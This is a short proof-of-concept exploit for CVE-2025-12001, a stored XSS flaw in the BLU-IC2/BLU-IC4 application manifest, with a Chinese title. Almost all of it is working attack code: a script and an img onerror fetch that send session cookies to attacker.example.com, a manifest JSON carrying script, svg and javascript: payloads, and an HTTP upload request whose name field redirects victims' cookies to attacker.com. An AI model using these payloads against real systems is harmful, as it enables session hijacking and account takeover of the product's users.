CVE-2025-12001 BLU-IC2/IC4 应用程序清单存储型XSS漏洞

<!-- CVE-2025-12001 - BLU-IC2/BLU-IC4 Stored XSS via Application Manifest --> <!-- This PoC demonstrates how a malicious application manifest can inject scripts --> <!-- Malicious manifest payload injected into the application name field --> <script> // Steal session cookies and send to attacker server var img = new Image(); img.src = 'https://attacker.example.com/steal?cookie=' + encodeURIComponent(document.cookie); </script> <!-- Alternative payload using img onerror event handler --> <img src="x" onerror="fetch('https://attacker.example.com/exfil', {method:'POST', body:JSON.stringify({cookies:document.cookie, url:location.href})})"> <!-- Example of malicious application manifest JSON payload --> { "application_name": "<script>alert('XSS-CVE-2025-12001')</script>", "description": "<img src=x onerror=alert(document.domain)>", "version": "1.0.0", "author": "<svg onload=alert(1)>", "url": "javascript:alert('XSS')" } <!-- HTTP request example to upload malicious manifest --> POST /api/v1/applications/manifest HTTP/1.1 Host: target-blu-ic2.example.com Content-Type: application/json Cookie: session=<valid_session_cookie> { "name": "Legit App<script>document.location='https://attacker.com/?c='+document.cookie</script>", "description": "Normal description with <script>alert('stored-xss')</script> payload", "config": {} }